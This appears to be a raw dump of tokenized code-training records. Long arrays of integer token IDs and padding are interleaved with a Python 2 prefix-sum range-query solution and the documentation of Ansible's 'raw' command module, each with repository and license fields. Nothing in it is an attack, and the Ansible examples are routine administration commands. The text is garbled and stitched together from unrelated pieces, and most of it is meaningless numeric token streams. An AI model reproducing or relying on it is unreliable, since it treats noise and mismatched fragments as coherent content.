597,
8182,
492,
8671,
63,
14845,
272,
1306,
492,
2680,
465,
980,
272,
1306,
869,
275,
980,
14,
1144,
4038,
17,
2020,
378,
8333,
359,
16,
2020,
413,
8333,
359,
16,
2020,
378,
19450,
272,
1306,
1174,
275,
980,
14,
1144,
779,
17,
69,
13,
19,
12,
959,
69,
13,
19,
566,
272,
1306,
399,
63,
5991,
275,
8671,
63,
14845,
8,
40,
12,
1174,
9,
272,
1306,
870,
8,
85,
63,
5991,
9,
327,
8868,
26,
435,
10765,
11025,
63,
20620,
272,
359,
16,
14,
4587,
378,
14,
7972,
378,
14,
1622,
339,
408,
272,
340,
950,
365,
488,
26,
267,
372,
869,
768,
1174,
272,
372,
869,
768,
334,
929,
435,
950,
9,
199,
199,
3,
8530,
17471,
446,
8671,
63,
262,
889,
4255,
199,
32,
7966,
17676,
199,
318,
8671,
63,
262,
889,
4255,
8,
85,
63,
19116,
12,
399,
63,
5991,
304,
272,
519,
624,
272,
28562,
1315,
12,
314,
1804,
279,
1237,
9388,
315,
889,
4255,
14,
339,
3897,
272,
4143,
272,
399,
63,
19116,
520,
334,
33,
12,
776,
6800,
267,
3194,
305,
3297,
1174,
5477,
272,
399,
63,
5991,
520,
334,
33,
12,
776,
6800,
267,
5543,
328,
1522,
1174,
5477,
339,
1803,
272,
5514,
272,
334,
33,
12,
776,
6800,
267,
1804,
279,
1237,
9388,
315,
889,
4255,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
428,
1545,
31575,
25455,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
597,
8182,
492,
8671,
63,
262,
889,
4255,
272,
1306,
492,
2680,
465,
980,
272,
1306,
399,
63,
19116,
275,
980,
14,
1144,
779,
17,
2020,
499,
14,
17,
12,
446,
19,
14444,
272,
1306,
399,
63,
5991,
275,
980,
14,
1144,
779,
17,
14,
17,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1
|
1146
|
"""
QUESTION:
Given an integer array nums, find the sum of the elements between indices i and j (i < j), inclusive.
Example:
Given nums = [-2, 0, 3, -5, 2, -1]
sumRange(0, 2) -> 1
sumRange(2, 5) -> -1
sumRange(0, 5) -> -3
Note:
You may assume that the array does not change.
There are many calls to sumRange function.
ANSWER:
sum accumulation
"""
class NumArray(object):
def __init__(self, nums):
"""
initialize your data structure here.
:type nums: List[int]
"""
self.nums = nums
self.sum = [0]*len(self.nums)
for i in xrange(len(nums)):
self.sum[i] = nums[i] if i == 0 else self.sum[i-1]+nums[i]
def sumRange(self, i, j):
"""
sum of elements nums[i..j], inclusive.
:type i: int
:type j: int
:rtype: int
"""
return self.sum[j]-self.sum[i]+self.nums[i]
# Your NumArray object will be instantiated and called as such:
# numArray = NumArray(nums)
# numArray.sumRange(0, 1)
# numArray.sumRange(1, 2)
if __name__ == '__main__':
numArray = NumArray([-2, 0, 3, -5, 2, -1])
print numArray.sumRange(0, 1)
|
mit
|
[
624,
199,
2328,
19212,
26,
199,
13735,
376,
3000,
1625,
24047,
12,
2342,
314,
3089,
402,
314,
4008,
3382,
4918,
284,
436,
1335,
334,
73,
665,
1335,
395,
20728,
14,
199,
199,
9846,
26,
199,
13735,
24047,
275,
5243,
18,
12,
378,
12,
650,
12,
446,
21,
12,
499,
12,
446,
17,
61,
199,
199,
1838,
4709,
8,
16,
12,
499,
9,
1035,
413,
199,
1838,
4709,
8,
18,
12,
959,
9,
1035,
446,
17,
199,
1838,
4709,
8,
16,
12,
959,
9,
1035,
446,
19,
199,
7443,
26,
199,
5556,
1443,
5534,
626,
314,
1625,
1630,
440,
1570,
14,
199,
10924,
787,
5002,
4882,
370,
3089,
4709,
805,
14,
199,
5622,
12018,
26,
199,
1838,
11162,
5332,
199,
624,
199,
533,
16817,
3836,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
24047,
304,
267,
408,
267,
8265,
2195,
666,
5523,
2348,
14,
267,
520,
466,
24047,
26,
3820,
59,
442,
61,
267,
408,
267,
291,
14,
16084,
275,
24047,
267,
291,
14,
1838,
275,
359,
16,
3672,
552,
8,
277,
14,
16084,
9,
267,
367,
284,
315,
4945,
8,
552,
8,
16084,
2298,
288,
291,
14,
1838,
59,
73,
61,
275,
24047,
59,
73,
61,
340,
284,
508,
378,
587,
291,
14,
1838,
59,
73,
13,
17,
2807,
16084,
59,
73,
61,
2378,
347,
3089,
4709,
8,
277,
12,
284,
12,
1335,
304,
267,
408,
267,
3089,
402,
4008,
24047,
59,
73,
703,
74,
467,
20728,
14,
267,
520,
466,
284,
26,
1109,
267,
520,
466,
1335,
26,
1109,
267,
520,
4500,
26,
1109,
267,
408,
267,
372,
291,
14,
1838,
59,
74,
11285,
277,
14,
1838,
59,
73,
2807,
277,
14,
16084,
59,
73,
61,
4388,
199,
3,
19519,
16817,
3836,
909,
911,
506,
17544,
436,
2797,
465,
4066,
26,
199,
3,
1967,
3836,
275,
16817,
3836,
8,
16084,
9,
199,
3,
1967,
3836,
14,
1838,
4709,
8,
16,
12,
413,
9,
199,
3,
1967,
3836,
14,
1838,
4709,
8,
17,
12,
499,
9,
199,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
1967,
3836,
275,
16817,
3836,
11468,
18,
12,
378,
12,
650,
12,
446,
21,
12,
499,
12,
446,
17,
566,
272,
870,
1967,
3836,
14,
1838,
4709,
8,
16,
12,
413,
9,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
2328,
19212,
26,
199,
13735,
376,
3000,
1625,
24047,
12,
2342,
314,
3089,
402,
314,
4008,
3382,
4918,
284,
436,
1335,
334,
73,
665,
1335,
395,
20728,
14,
199,
199,
9846,
26,
199,
13735,
24047,
275,
5243,
18,
12,
378,
12,
650,
12,
446,
21,
12,
499,
12,
446,
17,
61,
199,
199,
1838,
4709,
8,
16,
12,
499,
9,
1035,
413,
199,
1838,
4709,
8,
18,
12,
959,
9,
1035,
446,
17,
199,
1838,
4709,
8,
16,
12,
959,
9,
1035,
446,
19,
199,
7443,
26,
199,
5556,
1443,
5534,
626,
314,
1625,
1630,
440,
1570,
14,
199,
10924,
787,
5002,
4882,
370,
3089,
4709,
805,
14,
199,
5622,
12018,
26,
199,
1838,
11162,
5332,
199,
624,
199,
533,
16817,
3836,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
24047,
304,
267,
408,
267,
8265,
2195,
666,
5523,
2348,
14,
267,
520,
466,
24047,
26,
3820,
59,
442,
61,
267,
408,
267,
291,
14,
16084,
275,
24047,
267,
291,
14,
1838,
275,
359,
16,
3672,
552,
8,
277,
14,
16084,
9,
267,
367,
284,
315,
4945,
8,
552,
8,
16084,
2298,
288,
291,
14,
1838,
59,
73,
61,
275,
24047,
59,
73,
61,
340,
284,
508,
378,
587,
291,
14,
1838,
59,
73,
13,
17,
2807,
16084,
59,
73,
61,
2378,
347,
3089,
4709,
8,
277,
12,
284,
12,
1335,
304,
267,
408,
267,
3089,
402,
4008,
24047,
59,
73,
703,
74,
467,
20728,
14,
267,
520,
466,
284,
26,
1109,
267,
520,
466,
1335,
26,
1109,
267,
520,
4500,
26,
1109,
267,
408,
267,
372,
291,
14,
1838,
59,
74,
11285,
277,
14,
1838,
59,
73,
2807,
277,
14,
16084,
59,
73,
61,
4388,
199,
3,
19519,
16817,
3836,
909,
911,
506,
17544,
436,
2797,
465,
4066,
26,
199,
3,
1967,
3836,
275,
16817,
3836,
8,
16084,
9,
199,
3,
1967,
3836,
14,
1838,
4709,
8,
16,
12,
413,
9,
199,
3,
1967,
3836,
14,
1838,
4709,
8,
17,
12,
499,
9,
199,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
1967,
3836,
275,
16817,
3836,
11468,
18,
12,
378,
12,
650,
12,
446,
21,
12,
499,
12,
446,
17,
566,
272,
870,
1967,
3836,
14,
1838,
4709,
8,
16,
12,
413,
9,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
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|
roadmapper/ansible
|
lib/ansible/modules/commands/raw.py
|
59
|
3247
|
# This is a virtual module that is entirely implemented server side
# Copyright: (c) 2012, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['stableinterface'],
'supported_by': 'core'}
DOCUMENTATION = r'''
---
module: raw
short_description: Executes a low-down and dirty command
version_added: historical
options:
free_form:
description:
- The raw module takes a free form command to run.
- There is no parameter actually named 'free form'; see the examples!
required: true
executable:
description:
- Change the shell used to execute the command. Should be an absolute path to the executable.
- When using privilege escalation (C(become)) a default shell will be assigned if one is not provided
as privilege escalation requires a shell.
version_added: "1.0"
description:
- Executes a low-down and dirty SSH command, not going through the module
subsystem.
- This is useful and should only be done in a few cases. A common
case is installing C(python) on a system without python installed by default.
Another is speaking to any devices such as
routers that do not have any Python installed. In any other case, using
the M(shell) or M(command) module is much more appropriate.
- Arguments given to C(raw) are run directly through the configured remote shell.
- Standard output, error output and return code are returned when
available.
- There is no change handler support for this module.
- This module does not require python on the remote system, much like
the M(script) module.
- This module is also supported for Windows targets.
notes:
- "If using raw from a playbook, you may need to disable fact gathering
using C(gather_facts: no) if you're using C(raw) to bootstrap python
onto the machine."
- If you want to execute a command securely and predictably, it may be
better to use the M(command) or M(shell) modules instead.
- The C(environment) keyword does not work with raw normally, it requires a shell
which means it only works if C(executable) is set or using the module
with privilege escalation (C(become)).
- This module is also supported for Windows targets.
seealso:
- module: command
- module: shell
- module: win_command
- module: win_shell
author:
- Ansible Core Team
- Michael DeHaan
'''
EXAMPLES = r'''
- name: Bootstrap a host without python2 installed
raw: dnf install -y python2 python2-dnf libselinux-python
- name: Run a command that uses non-posix shell-isms (in this example /bin/sh doesn't handle redirection and wildcards together but bash does)
raw: cat < /tmp/*txt
args:
executable: /bin/bash
- name: Safely use templated variables. Always use quote filter to avoid injection issues.
raw: "{{ package_mgr|quote }} {{ pkg_flags|quote }} install {{ python|quote }}"
- name: List user accounts on a Windows system
raw: Get-WmiObject -Class Win32_UserAccount
'''
|
gpl-3.0
|
[
3,
961,
365,
282,
5791,
859,
626,
365,
21926,
6366,
1654,
5366,
199,
199,
3,
1898,
26,
334,
67,
9,
6029,
12,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
17,
297,
490,
283,
1205,
356,
788,
11989,
3266,
995,
490,
283,
4946,
63,
991,
356,
283,
1018,
936,
421,
199,
8948,
275,
519,
2344,
199,
2595,
199,
578,
26,
3066,
199,
3612,
63,
1802,
26,
9434,
3862,
282,
6465,
13,
2110,
436,
14650,
1414,
199,
1023,
63,
3270,
26,
32530,
199,
1419,
26,
523,
2867,
63,
964,
26,
272,
1369,
26,
489,
446,
710,
3066,
859,
6181,
282,
2867,
1824,
1414,
370,
1255,
14,
489,
446,
6006,
365,
949,
2725,
5965,
4310,
283,
4624,
1824,
13619,
1937,
314,
7251,
1,
272,
1415,
26,
2549,
523,
7286,
26,
272,
1369,
26,
489,
446,
7743,
314,
5218,
1202,
370,
5341,
314,
1414,
14,
7719,
506,
376,
3679,
931,
370,
314,
7286,
14,
489,
446,
3979,
1808,
1979,
17228,
325,
4732,
425,
334,
35,
8,
13970,
430,
282,
849,
5218,
911,
506,
7943,
340,
1373,
365,
440,
2741,
267,
465,
1979,
17228,
325,
4732,
425,
5074,
282,
5218,
14,
272,
1015,
63,
3270,
26,
298,
17,
14,
16,
2,
199,
1802,
26,
1362,
446,
9434,
3862,
282,
6465,
13,
2110,
436,
14650,
12027,
1414,
12,
440,
9995,
4012,
314,
859,
2126,
1007,
2253,
14,
1362,
446,
961,
365,
2997,
436,
1077,
1454,
506,
4224,
315,
282,
9284,
5560,
14,
437,
2863,
2126,
1930,
365,
22200,
445,
8,
1548,
9,
641,
282,
2656,
1928,
2366,
4903,
701,
849,
14,
2126,
22604,
365,
308,
8556,
316,
370,
1263,
7256,
4066,
465,
2126,
24464,
626,
886,
440,
1172,
1263,
2018,
4903,
14,
1010,
1263,
1163,
1930,
12,
1808,
2126,
314,
603,
8,
5641,
9,
503,
603,
8,
1531,
9,
859,
365,
8298,
1655,
5827,
14,
1362,
446,
7628,
1627,
370,
445,
8,
1773,
9,
787,
1255,
5370,
4012,
314,
7526,
3982,
5218,
14,
1362,
446,
9739,
1072,
12,
1125,
1072,
436,
372,
1233,
787,
2138,
1380,
2126,
2808,
14,
1362,
446,
6006,
365,
949,
1570,
3016,
2291,
367,
642,
859,
14,
1362,
446,
961,
859,
1630,
440,
4409,
2366,
641,
314,
3982,
2656,
12,
8298,
2839,
2126,
314,
603,
8,
1579,
9,
859,
14,
1362,
446,
961,
859,
365,
2597,
3748,
367,
5417,
4545,
14,
199,
5983,
26,
272,
446,
298,
3917,
1808,
3066,
687,
282,
15695,
12,
1265,
1443,
1929,
370,
3507,
10572,
13082,
316,
489,
1808,
445,
8,
13737,
63,
5047,
26,
949,
9,
340,
1265,
3984,
1808,
445,
8,
1773,
9,
370,
15865,
2366,
489,
14602,
314,
6844,
2122,
272,
446,
982,
1265,
2934,
370,
5341,
282,
1414,
11153,
590,
436,
12610,
6665,
12,
652,
1443,
506,
489,
8034,
370,
675,
314,
603,
8,
1531,
9,
503,
603,
8,
5641,
9,
4621,
3140,
14,
272,
446,
710,
445,
8,
5418,
9,
4252,
1630,
440,
1736,
543,
3066,
12252,
12,
652,
5074,
282,
5218,
489,
1314,
4910,
652,
1454,
5419,
340,
445,
8,
5904,
9,
365,
663,
503,
1808,
314,
859,
489,
543,
1979,
17228,
325,
4732,
425,
334,
35,
8,
13970,
4992,
272,
446,
961,
859,
365,
2597,
3748,
367,
5417,
4545,
14,
199,
3239,
12344,
26,
199,
13,
859,
26,
1414,
199,
13,
859,
26,
5218,
199,
13,
859,
26,
4747,
63,
1531,
199,
13,
859,
26,
4747,
63,
5641,
199,
2502,
26,
272,
446,
2622,
11672,
11682,
272,
446,
16922,
22453,
199,
2344,
199,
199,
8918,
275,
519,
2344,
199,
13,
536,
26,
27324,
7868,
282,
1591,
1928,
2366,
18,
4903,
523,
3066,
26,
28215,
3907,
446,
89,
2366,
18,
2366,
18,
13,
4272,
70,
1973,
19931,
13,
1548,
199,
199,
13,
536,
26,
3378,
282,
1414,
626,
4440,
2222,
13,
9228,
5218,
13,
374,
706,
334,
262,
642,
2893,
1182,
1393,
15,
609,
3181,
1133,
2429,
23713,
436,
24952,
10451,
1325,
20387,
1630,
9,
523,
3066,
26,
6230,
665,
1182,
2791,
6331,
2424,
523,
1249,
26,
272,
7286,
26,
1182,
1393,
15,
16408,
199,
199,
13,
536,
26,
428,
2756,
7742,
675,
27960,
2860,
14,
16763,
675,
6313,
2457,
370,
5126,
315,
8923,
10876,
14,
523,
3066,
26,
7370,
2559,
63,
7755,
92,
3513,
3586,
8448,
5496,
63,
2469,
92,
3513,
3586,
3907,
8448,
2366,
92,
3513,
7820,
199,
199,
13,
536,
26,
3820,
922,
12639,
641,
282,
5417,
2656,
523,
3066,
26,
2372,
13,
55,
2664,
1692,
446,
2543,
13036,
708,
63,
1899,
6009,
199,
2344,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
961,
365,
282,
5791,
859,
626,
365,
21926,
6366,
1654,
5366,
199,
199,
3,
1898,
26,
334,
67,
9,
6029,
12,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
4629,
12,
870,
63,
1593,
199,
363,
6577,
363,
275,
730,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
17,
297,
490,
283,
1205,
356,
788,
11989,
3266,
995,
490,
283,
4946,
63,
991,
356,
283,
1018,
936,
421,
199,
8948,
275,
519,
2344,
199,
2595,
199,
578,
26,
3066,
199,
3612,
63,
1802,
26,
9434,
3862,
282,
6465,
13,
2110,
436,
14650,
1414,
199,
1023,
63,
3270,
26,
32530,
199,
1419,
26,
523,
2867,
63,
964,
26,
272,
1369,
26,
489,
446,
710,
3066,
859,
6181,
282,
2867,
1824,
1414,
370,
1255,
14,
489,
446,
6006,
365,
949,
2725,
5965,
4310,
283,
4624,
1824,
13619,
1937,
314,
7251,
1,
272,
1415,
26,
2549,
523,
7286,
26,
272,
1369,
26,
489,
446,
7743,
314,
5218,
1202,
370,
5341,
314,
1414,
14,
7719,
506,
376,
3679,
931,
370,
314,
7286,
14,
489,
446,
3979,
1808,
1979,
17228,
325,
4732,
425,
334,
35,
8,
13970,
430,
282,
849,
5218,
911,
506,
7943,
340,
1373,
365,
440,
2741,
267,
465,
1979,
17228,
325,
4732,
425,
5074,
282,
5218,
14,
272,
1015,
63,
3270,
26,
298,
17,
14,
16,
2,
199,
1802,
26,
1362,
446,
9434,
3862,
282,
6465,
13,
2110,
436,
14650,
12027,
1414,
12,
440,
9995,
4012,
314,
859,
2126,
1007,
2253,
14,
1362,
446,
961,
365,
2997,
436,
1077,
1454,
506,
4224,
315,
282,
9284,
5560,
14,
